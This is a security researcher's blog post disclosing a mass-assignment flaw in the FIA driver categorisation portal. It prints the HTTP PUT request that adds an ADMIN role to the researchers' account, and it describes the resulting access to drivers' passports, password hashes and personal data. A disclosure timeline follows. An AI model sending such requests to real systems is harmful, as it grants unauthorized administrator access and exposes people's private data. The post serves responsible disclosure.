Introduction
With security startups getting flooded with VC funding in the past few years, some of the biggest networking events have centered themselves around the Formula 1 Grand Prix. Companies like CrowdStrike and Darktrace spend millions of dollars sponsoring teams, while others like Bitdefender have official partnerships to be a racing team’s cybersecurity partner.
Having been able to attend these events by hoarding airline miles and schmoozing certain cybersecurity vendors, Gal Nagli, Sam Curry, and I thought it would be fun to try and hack some of the different supporting websites for the Formula 1 events.
This blog is part 1 of 3 in a series of vulnerabilities found in Formula 1.
Finding F1 Driver Licenses
To race in Formula 1, drivers hold an FIA Super Licence. It’s issued annually through a driver’s national motorsport authority (ASN) once they’ve met the FIA’s requirements, typically spending years in smaller races to earn Super Licence points, along with meeting minimum age thresholds and other medical/written tests.
F1 drivers often compete outside Grands Prix as well, where the FIA uses a Driver Categorisation (Bronze/Silver/Gold/Platinum) to balance teams. That categorisation is managed via the FIA portal at drivercategorisation.fia.com, which supports public self-registration for competitors to request or update their Bronze/Silver/Gold/Platinum status and submit results for review. This system is separate from the Super Licence, but many F1 drivers appear in both and receive automatic Platinum status for holding an active Super Licence.
After creating an account with an email and password, you are thrown into the actual application process. Normally, you will have to upload a lot of supporting documents for your request for categorization, including identity documents and racing CVs/history. However, we noticed there is a very simple HTTP PUT request that is used to update your user profile:
PUT /api/users/12934 HTTP/1.1
Host: driverscategorisation.fia.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Length: 246
Content-Type: application/json
{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null
}The HTTP request to update our profile didn’t really have many interesting attributes, but the JSON returned in the response had a lot of extra values:
HTTP/1.1 200
Content-type: application/json
Content-Length: 313
{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null,
"keepNamePrivate": false,
"nickName2": null,
"birthDate": "2000-02-17",
"gender": null,
"token": null,
"roles": null,
"country": null,
"filters": [],
"status": "ACTIVATED",
"secondaryEmail": null
}The JSON HTTP response for updating our own profile contained the “roles” parameter, something that might allow us to escalate privileges if the PUT request was vulnerable to mass assignment. We began looking through the JavaScript for any logic related to this parameter.
Based on the JavaScript, there were a number of different roles on the website that were intended to be used by drivers, FIA staff, and site administrators. The most interesting one was obviously admin, so we guessed the correct HTTP PUT request format to try and update our roles based on the JavaScript:
PUT /api/users/12934 HTTP/1.1
Host: driverscategorisation.fia.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Length: 246
Content-Type: application/json
{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null,
"roles": [
{
"id": 1,
"description": "ADMIN role",
"name": "ADMIN"
}
]
}Our test worked exactly as predicted. The HTTP response showed that the update was successful, and we now held the administrator role for the website.
HTTP/1.1 200
Content-type: application/json
Content-Length: 313
{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null,
"keepNamePrivate": false,
"nickName2": null,
"birthDate": "1999-10-17",
"gender": null,
"token": null,
"roles": [
{
"id": 1,
"description": "ADMIN role",
"name": "ADMIN"
}
],
"country": null,
"filters": [],
"status": "ACTIVATED",
"secondaryEmail": null
}
We reauthenticated in order to refresh our session, and upon logging in, we were shown an entirely new dashboard that was intended to be used by FIA administrators to categorise drivers, manage employees, and update server-side variables like email templates and more. We seemed to have full admin access to the FIA driver categorization website.
To validate our finding, we attempted to load a driver’s profile and observed the user’s password hash, email address, phone number, passport, resume, and all related PII. Additionally, we could load all internal communications related to driver categorisation including comments about their performance and committee related decisions.
We stopped testing after seeing that it was possible to access Max Verstappen’s passport, resume, license, password hash, and PII. This data could be accessed for all F1 drivers with a categorization, alongside sensitive information of internal FIA operations. We did not access any passports / sensitive information and all data has been deleted.
Disclosure timeline
- 06/03/2025: Initial disclosure to FIA via email and Linkedin
- 06/03/2025: Initial response from FIA, site taken offline
- 06/10/2025: Official response from FIA informing us of a comprehensive fix
- 10/22/2025: Release of blog post, public disclosure
About the Author
